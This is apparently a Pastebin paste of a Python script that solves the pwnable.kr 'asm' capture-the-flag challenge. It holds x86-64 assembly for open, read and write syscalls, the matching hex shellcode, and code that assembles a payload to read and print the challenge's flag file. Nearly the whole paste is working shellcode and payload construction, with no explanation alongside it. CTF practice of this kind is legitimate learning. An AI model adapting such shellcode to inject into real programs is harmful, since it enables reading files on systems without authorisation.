Advertisement
Guest User

Untitled

a guest
Dec 14th, 2019
106
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.12 KB | None | 0 0
  1. # Mak1ng_shelLcodE_i5_veRy_eaSy
  2. # echo -ne $(python x.py) > test
  3. """
  4. mov rax,2
  5. mov rdi,1094795608
  6. mov rsi,0
  7. syscall
  8. mov rcx,rax
  9. mov rax,0
  10. mov rdi,rcx
  11. mov rsi,1094795407
  12. mov rdx,100
  13. syscall
  14. mov rax,1
  15. mov rdi,1
  16. mov rsi,1094795407
  17. mov rdx,100
  18. syscall
  19. mov rax,60
  20. mov rdi,2
  21. syscall
  22. nop
  23. nop
  24. nop
  25. nop
  26. """
  27.  
  28. # https://defuse.ca/online-x86-assembler.htm#disassembly
  29.  
  30. final_sc = r"\x48\xC7\xC0\x02\x00\x00\x00\x48\xC7\xC7\x58\x41\x41\x41\x48\xC7\xC6\x00\x00\x00\x00\x0F\x05\x48\x89\xC1\x48\xC7\xC0\x00\x00\x00\x00\x48\x89\xCF\x48\xC7\xC6\x8F\x40\x41\x41\x48\xC7\xC2\x64\x00\x00\x00\x0F\x05\x48\xC7\xC0\x01\x00\x00\x00\x48\xC7\xC7\x01\x00\x00\x00\x48\xC7\xC6\x8F\x40\x41\x41\x48\xC7\xC2\x64\x00\x00\x00\x0F\x05\x48\xC7\xC0\x3C\x00\x00\x00\x48\xC7\xC7\x02\x00\x00\x00\x0F\x05\x90\x90\x90\x90"
  31.  
  32. buf = r'\x00'*100
  33. nop = r'\x90'*96
  34. name = r'this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong\x00'
  35.  
  36.  
  37. output = final_sc + buf + nop + name
  38. print(output)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement